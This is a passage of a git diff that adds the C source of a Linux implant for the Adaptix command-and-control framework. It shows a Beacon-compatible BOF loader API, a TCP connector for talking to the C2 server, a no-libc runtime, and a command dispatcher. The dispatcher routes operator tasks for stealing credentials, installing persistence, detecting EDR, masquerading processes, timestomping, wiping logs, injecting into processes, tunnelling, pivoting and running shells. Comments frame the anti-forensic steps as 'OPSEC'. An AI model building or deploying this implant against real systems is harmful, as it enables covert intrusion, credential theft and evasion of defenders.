va_start(args, fmt); + int ret = ax_vsnprintf(buf, (size_t)size, fmt, args); + va_end(args); + return ret; +} + +// Process info +int AxGetPid(void) { + return sys_getpid(); +} + +int AxGetUid(void) { + return sys_getuid(); +} + +int AxGetEuid(void) { + return sys_geteuid(); +} + +// getcwd +int AxGetCwd(char *buf, int size) { + if (!buf || size <= 0) return -1; + return sys_getcwd(buf, (size_t)size); +} + +// getenv via /proc/self/environ +int AxGetEnv(const char *name, char *out_buf, int out_size) { + if (!name || !out_buf || out_size <= 0) return -1; + + char *env_data = (char *)0; + int env_len = AxReadFileToBuffer("/proc/self/environ", &env_data, 65536); + if (env_len <= 0 || !env_data) return -1; + + int name_len = (int)ax_strlen(name); + int found = -1; + + // /proc/self/environ entries are null-separated + int pos = 0; + while (pos < env_len) { + char *entry = env_data + pos; + int entry_len = 0; + while (pos + entry_len < env_len && entry[entry_len] != '\0') + entry_len++; + + // Check if entry starts with "name=" + if (entry_len > name_len + 1 && + ax_strncmp(entry, name, name_len) == 0 && + entry[name_len] == '=') { + char *val = entry + name_len + 1; + int val_len = entry_len - name_len - 1; + if (val_len >= out_size) val_len = out_size - 1; + ax_memcpy(out_buf, val, val_len); + out_buf[val_len] = '\0'; + found = val_len; + break; + } + + pos += entry_len + 1; // skip null separator + } + + ax_free(env_data); + return found; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Symbol resolution table — used by elf_bof.c +/// ──────────────────────────────────────────────────────────────────────────── + +typedef struct { + const char *name; + void *func; +} bof_api_entry_t; + +static bof_api_entry_t bof_api_table[] = { + // Data Parser + {"BeaconDataParse", (void *)BeaconDataParse}, + {"BeaconDataInt", (void *)BeaconDataInt}, + {"BeaconDataShort", (void *)BeaconDataShort}, + {"BeaconDataLength", (void *)BeaconDataLength}, + {"BeaconDataExtract", (void *)BeaconDataExtract}, + + // Output + {"BeaconOutput", (void *)BeaconOutput}, + {"BeaconPrintf", (void *)BeaconPrintf}, + + // Format + {"BeaconFormatAlloc", (void *)BeaconFormatAlloc}, + {"BeaconFormatReset", (void *)BeaconFormatReset}, + {"BeaconFormatAppend", (void *)BeaconFormatAppend}, + {"BeaconFormatPrintf", (void *)BeaconFormatPrintf}, + {"BeaconFormatToString", (void *)BeaconFormatToString}, + {"BeaconFormatFree", (void *)BeaconFormatFree}, + {"BeaconFormatInt", (void *)BeaconFormatInt}, + + // Utility + {"BeaconIsAdmin", (void *)BeaconIsAdmin}, + + // Async BOF + {"BeaconWakeup", (void *)BeaconWakeup}, + {"BeaconGetStopJobEvent",(void *)BeaconGetStopJobEvent}, + + // Adaptix + {"AxDownloadMemory", (void *)AxDownloadMemory}, + + // Linux system primitives + {"AxOpenFile", (void *)AxOpenFile}, + {"AxCloseFile", (void *)AxCloseFile}, + {"AxReadFile", (void *)AxReadFile}, + {"AxReadFileToBuffer", (void *)AxReadFileToBuffer}, + {"AxFileStat", (void *)AxFileStat}, + {"AxOpenDir", (void *)AxOpenDir}, + {"AxReadDir", (void *)AxReadDir}, + {"AxMalloc", (void *)AxMalloc}, + {"AxFree", (void *)AxFree}, + {"AxMemset", (void *)AxMemset}, + {"AxMemcpy", (void *)AxMemcpy}, + {"AxStrlen", (void *)AxStrlen}, + {"AxStrcmp", (void *)AxStrcmp}, + {"AxStrncmp", (void *)AxStrncmp}, + {"AxStrcpy", (void *)AxStrcpy}, + {"AxStrncpy", (void *)AxStrncpy}, + {"AxStrcat", (void *)AxStrcat}, + {"AxStrstr", (void *)AxStrstr}, + {"AxStrchr", (void *)AxStrchr}, + {"AxSnprintf", (void *)AxSnprintf}, + {"AxGetPid", (void *)AxGetPid}, + {"AxGetUid", (void *)AxGetUid}, + {"AxGetEuid", (void *)AxGetEuid}, + {"AxGetCwd", (void *)AxGetCwd}, + {"AxGetEnv", (void *)AxGetEnv}, + + // Sentinel + {(const char *)0, (void *)0} +}; + +/// Resolve a BOF symbol by name. Returns function pointer or NULL. +void *bof_resolve_symbol(const char *name) { + if (!name) + return (void *)0; + for (int i = 0; bof_api_table[i].name != (const char *)0; i++) { + if (ax_strcmp(name, bof_api_table[i].name) == 0) + return bof_api_table[i].func; + } + return (void *)0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/bof_api.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/bof_api.h new file mode 100644 index 000000000..29d3e929e --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/bof_api.h @@ -0,0 +1,115 @@ +/// bof_api.h — Linux Beacon API header for BOF authors +/// This is the public API that BOF .o files link against. +/// Compile BOFs with: gcc -c -o bof.o bof.c -include bof_api.h -Os -fPIC + +#ifndef LINUX_BEACON_API_H +#define LINUX_BEACON_API_H + +/// ── Data parser types ── + +typedef struct { + char *original; + char *buffer; + int length; + int size; +} datap; + +typedef struct { + char *original; + char *buffer; + int length; + int size; +} formatp; + +/// ── Output types (CS-compatible) ── + +#define CALLBACK_OUTPUT 0x0 +#define CALLBACK_OUTPUT_OEM 0x1e +#define CALLBACK_OUTPUT_UTF8 0x20 +#define CALLBACK_ERROR 0x0d + +/// ── Data Parser API ── + +void BeaconDataParse(datap *parser, char *buffer, int size); +int BeaconDataInt(datap *parser); +short BeaconDataShort(datap *parser); +int BeaconDataLength(datap *parser); +char *BeaconDataExtract(datap *parser, int *size); + +/// ── Output API ── + +void BeaconOutput(int type, const char *data, int len); +void BeaconPrintf(int type, const char *fmt, ...); + +/// ── Format API ── + +void BeaconFormatAlloc(formatp *format, int maxsz); +void BeaconFormatReset(formatp *format); +void BeaconFormatAppend(formatp *format, const char *text, int len); +void BeaconFormatPrintf(formatp *format, const char *fmt, ...); +char *BeaconFormatToString(formatp *format, int *size); +void BeaconFormatFree(formatp *format); +void BeaconFormatInt(formatp *format, int value); + +/// ── Utility ── + +int BeaconIsAdmin(void); + +/// ── Async BOF APIs ── + +void BeaconWakeup(void); +int BeaconGetStopJobEvent(void); // returns readable fd (-1 if not async) + +/// ── Adaptix extensions ── + +void AxDownloadMemory(char *filename, char *data, int len); + +/// ── Linux system primitives (Adaptix extensions) ── +/// These expose the agent's nostdlib syscall wrappers to BOFs + +// File I/O +int AxOpenFile(const char *path, int flags, int mode); +int AxCloseFile(int fd); +int AxReadFile(int fd, void *buf, int count); + +// File read helper — reads entire file into malloc'd buffer, returns bytes read (-1 on error) +int AxReadFileToBuffer(const char *path, char **out_buf, int max_size); + +// File stat +int AxFileStat(const char *path, unsigned int *out_mode, long *out_size, unsigned int *out_uid, unsigned int *out_gid); + +// Directory listing +int AxOpenDir(const char *path); +int AxReadDir(int fd, void *buf, int bufsize); + +// Memory +void *AxMalloc(int size); +void AxFree(void *ptr); +void *AxMemset(void *s, int c, int n); +void *AxMemcpy(void *dst, const void *src, int n); + +// String operations +int AxStrlen(const char *s); +int AxStrcmp(const char *a, const char *b); +int AxStrncmp(const char *a, const char *b, int n); +char *AxStrcpy(char *dst, const char *src); +char *AxStrncpy(char *dst, const char *src, int n); +char *AxStrcat(char *dst, const char *src); +char *AxStrstr(const char *haystack, const char *needle); +char *AxStrchr(const char *s, int c); + +// Formatted output +int AxSnprintf(char *buf, int size, const char *fmt, ...); + +// Process info +int AxGetPid(void); +int AxGetUid(void); +int AxGetEuid(void); + +// getcwd +int AxGetCwd(char *buf, int size); + +// getenv equivalent — reads /proc/self/environ +int AxGetEnv(const char *name, char *out_buf, int out_size); + +#endif // LINUX_BEACON_API_H diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/commander.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/commander.c new file mode 100644 index 000000000..df6569966 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/commander.c @@ -0,0 +1,130 @@ +#include "commander.h" +#include "crt.h" +#include "tasks_fs.h" +#include "tasks_proc.h" +#include "tasks_linux.h" +#include "tasks_async.h" +#include "tasks_net.h" +#include "tasks_opsec.h" +#include "tasks_pivot.h" +#include "pivot.h" +#include "elf_bof.h" + +static int cmd_error(mp_writer_t* w, const char* msg); + +int handle_command(uint32_t code, uint32_t cmd_id, + const uint8_t* data, uint32_t data_len, + mp_writer_t* response) { + switch (code) { + // ── Filesystem commands ── + case COMMAND_PWD: + return task_pwd(response); + case COMMAND_CD: + return task_cd(data, data_len, response); + case COMMAND_CAT: + return task_cat(data, data_len, response); + case COMMAND_LS: + return task_ls(data, data_len, response); + case COMMAND_CP: + return task_cp(data, data_len, response); + case COMMAND_MV: + return task_mv(data, data_len, response); + case COMMAND_MKDIR: + return task_mkdir(data, data_len, response); + case COMMAND_RM: + return task_rm(data, data_len, response); + + // ── Process commands ── + case COMMAND_PS: + return task_ps(response); + case COMMAND_KILL: + return task_kill(data, data_len, response); + case COMMAND_SHELL: + return task_shell(data, data_len, response); + + // ── Linux-specific ── + case COMMAND_GETUID: + return task_getuid(response); + case COMMAND_ENV: + return task_env(response); + case COMMAND_NETSTAT: + return task_netstat(response); + case COMMAND_MOUNTS: + return task_mounts(response); + case COMMAND_EDR: + return task_edr(response); + case COMMAND_CREDS: + return task_creds(data, data_len, response); + case COMMAND_PERSIST: + return task_persist(data, data_len, response); + case COMMAND_CONTAINER: + return task_container(data, data_len, response); + + // ── OPSEC commands ── + case COMMAND_MASQUERADE: + return task_masquerade(data, data_len, response); + case COMMAND_TIMESTOMP: + return task_timestomp(data, data_len, response); + case COMMAND_CLEANLOG: + return task_cleanlog(response); + case COMMAND_INJECT: + return task_inject(data, data_len, response); + case COMMAND_MIGRATE: + return task_migrate(response); + + // ── Control ── + case COMMAND_EXIT: + return -99; + + // ── Async/Job commands ── + case COMMAND_DOWNLOAD: + return task_download(data, data_len, response); + case COMMAND_UPLOAD: + return task_upload(data, data_len, response); + case COMMAND_RUN: + return task_run(data, data_len, response); + case COMMAND_JOB_LIST: + return task_job_list(response); + case COMMAND_JOB_KILL: + return task_job_kill(data, data_len, response); + + // ── Network commands ── + case COMMAND_TUNNEL_START: + return task_tunnel_start(data, data_len, response); + case COMMAND_TUNNEL_WRITE: + return task_tunnel_write(data, data_len, response); + case COMMAND_TUNNEL_STOP: + return task_tunnel_stop(data, data_len, response); + case COMMAND_TUNNEL_PAUSE: + return task_tunnel_pause(data, data_len, response); + case COMMAND_TUNNEL_RESUME: + return task_tunnel_resume(data, data_len, response); + case COMMAND_TERMINAL_START: + return task_terminal_start(data, data_len, response); + case COMMAND_TERMINAL_STOP: + return task_terminal_stop(data, data_len, response); + + // ── BOF commands ── + case COMMAND_EXEC_BOF: + return task_exec_bof(cmd_id, data, data_len, response); + case COMMAND_EXEC_BOF_ASYNC: + return task_exec_bof_async(cmd_id, data, data_len, response); + + // ── Pivot commands ── + case COMMAND_LINK: + return task_link_with_id(cmd_id, data, data_len, response); + case COMMAND_UNLINK: + return task_unlink(data, data_len, response); + case COMMAND_PIVOT_EXEC: + return task_pivot_exec(data, data_len, response); + + default: + return cmd_error(response, "Unknown command"); + } +} + +static int cmd_error(mp_writer_t* w, const char* msg) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", msg); + return 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/commander.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/commander.h new file mode 100644 index 000000000..6c571ab89 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/commander.h @@ -0,0 +1,27 @@ +#ifndef COMMANDER_H +#define COMMANDER_H + +#include "types.h" +#include "msgpack.h" + +/// Process a list of commands received from the server. +/// Input: array of msgpack-encoded Command structs. +/// Output: array of msgpack-encoded response buffers. +/// +/// Each Command has: {code: uint, id: uint, data: []byte} +/// Response format depends on the command code. + +/// Process all commands from inMessage.Object. +/// Returns msgpack-encoded array of response buffers. +/// Caller must free the returned buffer. +int process_commands(const uint8_t **commands, uint32_t *cmd_sizes, + uint32_t cmd_count, + buffer_t *out_responses, uint32_t *out_count); + +/// Process a single command, write response to writer. +/// Returns 0 on success. +int handle_command(uint32_t code, uint32_t cmd_id, + const uint8_t *data, uint32_t data_len, + mp_writer_t *response); + +#endif /* COMMANDER_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/connector.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/connector.c new file mode 100644 index 000000000..3851cd686 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/connector.c @@ -0,0 +1,269 @@ +#include "connector.h" +#include "crt.h" +#include "types.h" + +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif + +// Linux socket constants +#define AF_INET 2 +#define SOCK_STREAM 1 +#define IPPROTO_TCP 6 + +// sockaddr_in structure (manual — no libc headers) +struct linux_sockaddr_in { + uint16_t sin_family; + uint16_t sin_port; // network byte order + uint32_t sin_addr; // network byte order + uint8_t sin_zero[8]; +}; + +// Parse "host:port" string — host must be an IP address (no DNS resolution) +// For Phase 1, we only support direct IP:port (DNS will come in Phase 2 with resolver) +static int parse_address(const char* address, uint32_t* ip, uint16_t* port) { + const char* colon = (const char*)0; + for (const char* p = address; *p; p++) { + if (*p == ':') colon = p; + } + if (!colon) return -1; + + // Parse IP: a.b.c.d + uint32_t octets[4] = {0}; + int octet_idx = 0; + for (const char* p = address; p < colon && octet_idx < 4; p++) { + if (*p == '.') { + octet_idx++; + } else if (*p >= '0' && *p <= '9') { + octets[octet_idx] = octets[octet_idx] * 10 + (*p - '0'); + } else { + return -1; + } + } + if (octet_idx != 3) return -1; + for (int i = 0; i < 4; i++) { + if (octets[i] > 255) return -1; + } + + // Network byte order (big-endian) + *ip = (octets[0]) | (octets[1] << 8) | (octets[2] << 16) | (octets[3] << 24); + + // Parse port + *port = 0; + for (const char* p = colon + 1; *p >= '0' && *p <= '9'; p++) { + *port = *port * 10 + (*p - '0'); + } + if (*port == 0) return -1; + + // Convert port to network byte order (big-endian) + *port = ((*port >> 8) & 0xFF) | ((*port & 0xFF) << 8); + + return 0; +} + +int conn_open(connector_t* c, const char* address) { + uint32_t ip; + uint16_t port; + + if (parse_address(address, &ip, &port) != 0) + return -1; + + // Create TCP socket via direct syscall + int fd = (int)sys_socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (fd < 0) return -1; + + // Build sockaddr_in + struct linux_sockaddr_in addr; + ax_memset(&addr, 0, sizeof(addr)); + addr.sin_family = AF_INET; + addr.sin_port = port; + addr.sin_addr = ip; + + // Connect via direct syscall + if (sys_connect(fd, (const void*)&addr, sizeof(addr)) != 0) { + sys_close(fd); + return -1; + } + + c->fd = fd; + return 0; +} + +void conn_close(connector_t* c) { + if (c->fd >= 0) { + sys_close(c->fd); + c->fd = -1; + } +} + +int conn_read_exact(connector_t* c, uint8_t* buf, size_t size) { + size_t total = 0; + while (total < size) { + long n = sys_read(c->fd, buf + total, size - total); + if (n <= 0) return -1; + total += (size_t)n; + } + return 0; +} + +int conn_recv_msg(connector_t* c, uint8_t** data, size_t* len) { + // Read 4-byte big-endian length + uint8_t len_buf[4]; + if (conn_read_exact(c, len_buf, 4) != 0) return -1; + + uint32_t msg_len = ((uint32_t)len_buf[0] << 24) | ((uint32_t)len_buf[1] << 16) | + ((uint32_t)len_buf[2] << 8) | len_buf[3]; + + if (msg_len == 0) { + *data = (uint8_t*)0; + *len = 0; + return 0; + } + + // Sanity check: max 64MB + if (msg_len > 64 * 1024 * 1024) return -1; + + *data = (uint8_t*)ax_malloc(msg_len); + if (!*data) return -1; + + if (conn_read_exact(c, *data, msg_len) != 0) { + ax_free(*data); + *data = (uint8_t*)0; + return -1; + } + + *len = msg_len; + return 0; +} + +int conn_send_msg(connector_t* c, const uint8_t* data, size_t len) { + // Write 4-byte big-endian length + data + uint8_t header[4] = { + (uint8_t)(len >> 24), (uint8_t)(len >> 16), + (uint8_t)(len >> 8), (uint8_t)len + }; + + // Send header + size_t total = 0; + while (total < 4) { + long n = sys_write(c->fd, header + total, 4 - total); + if (n <= 0) return -1; + total += (size_t)n; + } + + // Send data + total = 0; + while (total < len) { + long n = sys_write(c->fd, data + total, len - total); + if (n <= 0) return -1; + total += (size_t)n; + } + + return 0; +} + +int conn_discard(connector_t* c, size_t size) { + uint8_t tmp[1024]; + size_t remaining = size; + while (remaining > 0) { + size_t chunk = remaining < sizeof(tmp) ? remaining : sizeof(tmp); + if (conn_read_exact(c, tmp, chunk) != 0) return -1; + remaining -= chunk; + } + return 0; +} + +// fd_set manipulation for pselect6 +// Linux fd_set is an array of unsigned long bitmasks +typedef struct { + unsigned long fds_bits[1024 / (8 * sizeof(unsigned long))]; +} conn_fdset_t; + +static inline void conn_fd_zero(conn_fdset_t* set) { + for (unsigned i = 0; i < sizeof(set->fds_bits) / sizeof(set->fds_bits[0]); i++) + set->fds_bits[i] = 0; +} + +static inline void conn_fd_set(int fd, conn_fdset_t* set) { + unsigned idx = (unsigned)fd / (8 * sizeof(unsigned long)); + unsigned bit = (unsigned)fd % (8 * sizeof(unsigned long)); + set->fds_bits[idx] |= (1UL << bit); +} + +static inline int conn_fd_isset(int fd, conn_fdset_t* set) { + unsigned idx = (unsigned)fd / (8 * sizeof(unsigned long)); + unsigned bit = (unsigned)fd % (8 * sizeof(unsigned long)); + return (set->fds_bits[idx] & (1UL << bit)) != 0; +} + +int conn_poll_read(connector_t* c, int timeout_ms) { + if (c->fd < 0) return -1; + + conn_fdset_t rfds; + conn_fd_zero(&rfds); + conn_fd_set(c->fd, &rfds); + + struct linux_timespec ts; + ts.tv_sec = timeout_ms / 1000; + ts.tv_nsec = (long)(timeout_ms % 1000) * 1000000L; + + int ret = sys_pselect6(c->fd + 1, (void*)&rfds, (void*)0, (void*)0, &ts, (void*)0); + if (ret < 0) return -1; // error + if (ret == 0) return 0; // timeout + return 1; // data available +} + +int conn_recv_msg_timeout(connector_t* c, uint8_t** data, size_t* len, int timeout_ms) { + *data = (uint8_t*)0; + *len = 0; + + int poll = conn_poll_read(c, timeout_ms); + if (poll <= 0) return poll; // 0 = timeout, -1 = error + + // Data available — do blocking recv (data is ready) + return conn_recv_msg(c, data, len); +} + +// Socket option constants +#define SOL_SOCKET 1 +#define SO_REUSEADDR 2 + +int conn_bind_listen(connector_t* server, uint16_t port) { + int fd = (int)sys_socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (fd < 0) return -1; + + // SO_REUSEADDR — allow quick rebind after disconnect + int opt = 1; + sys_setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)); + + // Bind to 0.0.0.0:port + struct linux_sockaddr_in addr; + ax_memset(&addr, 0, sizeof(addr)); + addr.sin_family = AF_INET; + addr.sin_port = ((port >> 8) & 0xFF) | ((port & 0xFF) << 8); // host→network byte order + addr.sin_addr = 0; // INADDR_ANY + + if (sys_bind(fd, (const void*)&addr, sizeof(addr)) != 0) { + sys_close(fd); + return -1; + } + + if (sys_listen(fd, 1) != 0) { + sys_close(fd); + return -1; + } + + server->fd = fd; + return 0; +} + +int conn_accept(connector_t* client, connector_t* server) { + int fd = sys_accept(server->fd, (void*)0, (void*)0); + if (fd < 0) return -1; + + client->fd = fd; + return 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/connector.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/connector.h new file mode 100644 index 000000000..867259dd4 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/connector.h @@ -0,0 +1,53 @@ +#ifndef CONNECTOR_H +#define CONNECTOR_H + +#include +#include + +/// TCP connector for C2 communication +/// Protocol: [4-byte BE length][payload] +/// Matches Go's functions.SendMsg/RecvMsg + +typedef struct { + int fd; +} connector_t; + +/// Connect to address "host:port" via TCP. +/// Returns 0 on success, -1 on failure. +int conn_open(connector_t *c, const char *address); + +/// Close connection. +void conn_close(connector_t *c); + +/// Read exactly `size` bytes. +int conn_read_exact(connector_t *c, uint8_t *buf, size_t size); + +/// Receive a length-prefixed message. +/// Allocates buffer, sets *data and *len. +/// Caller must free *data with ax_free(). +int conn_recv_msg(connector_t *c, uint8_t **data, size_t *len); + +/// Send a length-prefixed message. +int conn_send_msg(connector_t *c, const uint8_t *data, size_t len); + +/// Read and discard `size` bytes (for banner). +int conn_discard(connector_t *c, size_t size); + +/// Check if data is available for reading within `timeout_ms` milliseconds. +/// Returns: 1 = data available, 0 = timeout (no data), -1 = error/closed +int conn_poll_read(connector_t *c, int timeout_ms); + +/// Receive a length-prefixed message with timeout. +/// Returns: 0 = message received, 1 = timeout (no data), -1 = error +int conn_recv_msg_timeout(connector_t *c, uint8_t **data, size_t *len, int timeout_ms); + +/// Bind TCP: create socket, bind to port, listen. +/// Returns 0 on success (server->fd set), -1 on failure. +int conn_bind_listen(connector_t *server, uint16_t port); + +/// Accept a connection on a listening socket. +/// Blocks until a client connects. Sets client->fd. +/// Returns 0 on success, -1 on failure. +int conn_accept(connector_t *client, connector_t *server); + +#endif /* CONNECTOR_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/crt.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/crt.c new file mode 100644 index 000000000..cd152afc0 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/crt.c @@ -0,0 +1,293 @@ +#include "crt.h" +#include "types.h" + +// Include arch-specific syscall wrappers +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif + +// Linux mmap constants +#define PROT_READ 0x1 +#define PROT_WRITE 0x2 +#define MAP_PRIVATE 0x02 +#define MAP_ANONYMOUS 0x20 // Linux: 0x20 (macOS: 0x1000) +#define MAP_FAILED ((void*)-1) +#define O_RDONLY 0 + +// Allocation header for size tracking +typedef struct { + size_t total_size; + size_t _pad[1]; // Align to 16 bytes +} alloc_header_t; + +#define HEADER_SIZE sizeof(alloc_header_t) + +// Page alignment helper +static inline size_t align_page(size_t size) { + return (size + 4095) & ~(size_t)4095; +} + +/// ax_malloc — allocate via mmap syscall (zero libc dependency) +void *ax_malloc(size_t size) { + if (size == 0) return NULL; + + size_t total = align_page(HEADER_SIZE + size); + void *ptr = sys_mmap(NULL, total, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (ptr == MAP_FAILED) return NULL; + + alloc_header_t *hdr = (alloc_header_t *)ptr; + hdr->total_size = total; + return (uint8_t *)ptr + HEADER_SIZE; +} + +/// ax_free — OPSEC: zero memory before munmap +void ax_free(void *ptr) { + if (!ptr) return; + + alloc_header_t *hdr = (alloc_header_t *)((uint8_t *)ptr - HEADER_SIZE); + size_t total = hdr->total_size; + + // Sanity check + if (total < HEADER_SIZE || total > (size_t)256 * 1024 * 1024) return; + + // OPSEC: Zero memory before releasing + volatile uint8_t *p = (volatile uint8_t *)hdr; + for (size_t i = 0; i < total; i++) p[i] = 0; + + sys_munmap(hdr, total); +} + +/// ax_realloc — malloc new + copy + free old +void *ax_realloc(void *ptr, size_t new_size) { + if (!ptr) return ax_malloc(new_size); + if (new_size == 0) { ax_free(ptr); return NULL; } + + alloc_header_t *hdr = (alloc_header_t *)((uint8_t *)ptr - HEADER_SIZE); + size_t old_data_size = hdr->total_size - HEADER_SIZE; + + void *new_ptr = ax_malloc(new_size); + if (!new_ptr) return NULL; + + size_t copy_size = old_data_size < new_size ? old_data_size : new_size; + ax_memcpy(new_ptr, ptr, copy_size); + ax_free(ptr); + + return new_ptr; +} + +/// Memory operations + +void *ax_memset(void *s, int c, size_t n) { + volatile uint8_t *p = (volatile uint8_t *)s; + while (n--) *p++ = (uint8_t)c; + return s; +} + +void *ax_memcpy(void *dst, const void *src, size_t n) { + uint8_t *d = (uint8_t *)dst; + const uint8_t *s = (const uint8_t *)src; + while (n--) *d++ = *s++; + return dst; +} + +void *ax_memmove(void *dst, const void *src, size_t n) { + uint8_t *d = (uint8_t *)dst; + const uint8_t *s = (const uint8_t *)src; + if (d < s) { + while (n--) *d++ = *s++; + } else { + d += n; s += n; + while (n--) *--d = *--s; + } + return dst; +} + +int ax_memcmp(const void *a, const void *b, size_t n) { + const uint8_t *pa = (const uint8_t *)a; + const uint8_t *pb = (const uint8_t *)b; + while (n--) { + if (*pa != *pb) return *pa - *pb; + pa++; pb++; + } + return 0; +} + +/// String operations + +size_t ax_strlen(const char *s) { + size_t len = 0; + while (s[len]) len++; + return len; +} + +int ax_strcmp(const char *a, const char *b) { + while (*a && (*a == *b)) { a++; b++; } + return *(unsigned char *)a - *(unsigned char *)b; +} + +int ax_strncmp(const char *a, const char *b, size_t n) { + while (n && *a && (*a == *b)) { a++; b++; n--; } + if (n == 0) return 0; + return *(unsigned char *)a - *(unsigned char *)b; +} + +char *ax_strcpy(char *dst, const char *src) { + char *ret = dst; + while ((*dst++ = *src++)); + return ret; +} + +char *ax_strncpy(char *dst, const char *src, size_t n) { + char *ret = dst; + while (n && (*dst++ = *src++)) n--; + while (n--) *dst++ = 0; + return ret; +} + +char *ax_strcat(char *dst, const char *src) { + char *ret = dst; + while (*dst) dst++; + while ((*dst++ = *src++)); + return ret; +} + +char *ax_strstr(const char *haystack, const char *needle) { + if (!*needle) return (char *)haystack; + for (; *haystack; haystack++) { + const char *h = haystack, *n = needle; + while (*h && *n && (*h == *n)) { h++; n++; } + if (!*n) return (char *)haystack; + } + return NULL; +} + +char *ax_strchr(const char *s, int c) { + while (*s) { + if (*s == (char)c) return (char *)s; + s++; + } + if (c == 0) return (char *)s; + return NULL; +} + +/// Integer conversion + +int ax_atoi(const char *s) { + int result = 0, sign = 1; + while (*s == ' ' || *s == '\t' || *s == '\n') s++; + if (*s == '-') { sign = -1; s++; } + else if (*s == '+') s++; + while (*s >= '0' && *s <= '9') { + result = result * 10 + (*s - '0'); + s++; + } + return result * sign; +} + +int ax_hextoi(const char *s) { + int result = 0; + if (s[0] == '0' && (s[1] == 'x' || s[1] == 'X')) s += 2; + while (*s) { + int digit; + if (*s >= '0' && *s <= '9') digit = *s - '0'; + else if (*s >= 'a' && *s <= 'f') digit = *s - 'a' + 10; + else if (*s >= 'A' && *s <= 'F') digit = *s - 'A' + 10; + else break; + result = result * 16 + digit; + s++; + } + return result; +} + +char *ax_itoa(int val, char *buf, int base) { + char *p = buf; + char *start; + int neg = 0; + + if (val < 0 && base == 10) { + neg = 1; + val = -val; + } + + start = p; + do { + int d = val % base; + *p++ = (d < 10) ? '0' + d : 'a' + d - 10; + val /= base; + } while (val); + + if (neg) *p++ = '-'; + *p = 0; + + // Reverse + char *end = p - 1; + char *beg = start; + while (beg < end) { + char tmp = *beg; + *beg++ = *end; + *end-- = tmp; + } + + return buf; +} + +/// Random bytes — reads /dev/urandom via direct syscall +int ax_random_bytes(void *buf, size_t len) { + // Try getrandom syscall first (more OPSEC — no file open) + long ret = sys_getrandom(buf, len, 0); + if (ret == (long)len) return 0; + + // Fallback: /dev/urandom + int fd = sys_open("/dev/urandom", O_RDONLY, 0); + if (fd < 0) return -1; + + size_t total = 0; + while (total < len) { + ret = sys_read(fd, (uint8_t *)buf + total, len - total); + if (ret <= 0) { sys_close(fd); return -1; } + total += ret; + } + sys_close(fd); + return 0; +} + +/// GCC builtins — required for ARM64 (and sometimes x86_64) when the compiler +/// emits implicit memset/memcpy/memmove for struct/array initialization. +void *memset(void *s, int c, size_t n) { return ax_memset(s, c, n); } +void *memcpy(void *d, const void *s, size_t n) { return ax_memcpy(d, s, n); } +void *memmove(void *d, const void *s, size_t n) { return ax_memmove(d, s, n); } + +/// buffer_t implementation + +void buf_init(buffer_t *b, int initial_cap) { + b->data = (uint8_t *)ax_malloc(initial_cap); + b->len = 0; + b->cap = b->data ? initial_cap : 0; +} + +void buf_append(buffer_t *b, const void *data, int len) { + if (b->len + len > b->cap) { + int new_cap = b->cap * 2; + if (new_cap < b->len + len) new_cap = b->len + len; + uint8_t *new_data = (uint8_t *)ax_realloc(b->data, new_cap); + if (!new_data) return; + b->data = new_data; + b->cap = new_cap; + } + ax_memcpy(b->data + b->len, data, len); + b->len += len; +} + +void buf_free(buffer_t *b) { + if (b->data) ax_free(b->data); + b->data = NULL; + b->len = 0; + b->cap = 0; +} + +void buf_reset(buffer_t *b) { + b->len = 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/crt.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/crt.h new file mode 100644 index 000000000..08d75efa9 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/crt.h @@ -0,0 +1,41 @@ +#ifndef CRT_H +#define CRT_H + +#include +#include + +/// Memory allocation (via direct mmap/munmap syscalls — zero libc dependency) +void *ax_malloc(size_t size); +void ax_free(void *ptr); +void *ax_realloc(void *ptr, size_t new_size); + +/// Memory operations +void *ax_memset(void *s, int c, size_t n); +void *ax_memcpy(void *dst, const void *src, size_t n); +void *ax_memmove(void *dst, const void *src, size_t n); +int ax_memcmp(const void *a, const void *b, size_t n); + +/// String operations +size_t ax_strlen(const char *s); +int ax_strcmp(const char *a, const char *b); +int ax_strncmp(const char *a, const char *b, size_t n); +char *ax_strcpy(char *dst, const char *src); +char *ax_strncpy(char *dst, const char *src, size_t n); +char *ax_strcat(char *dst, const char *src); +char *ax_strstr(const char *haystack, const char *needle); +char *ax_strchr(const char *s, int c); + +/// Integer conversion +int ax_atoi(const char *s); +int ax_hextoi(const char *s); +char *ax_itoa(int val, char *buf, int base); + +/// Random bytes (reads /dev/urandom via syscall) +int ax_random_bytes(void *buf, size_t len); + +/// Formatted output (nostdlib vsnprintf) +#include +int ax_vsnprintf(char *buf, size_t size, const char *fmt, va_list ap); +int ax_snprintf(char *buf, size_t size, const char *fmt, ...); + +#endif // CRT_H diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/crypt.c 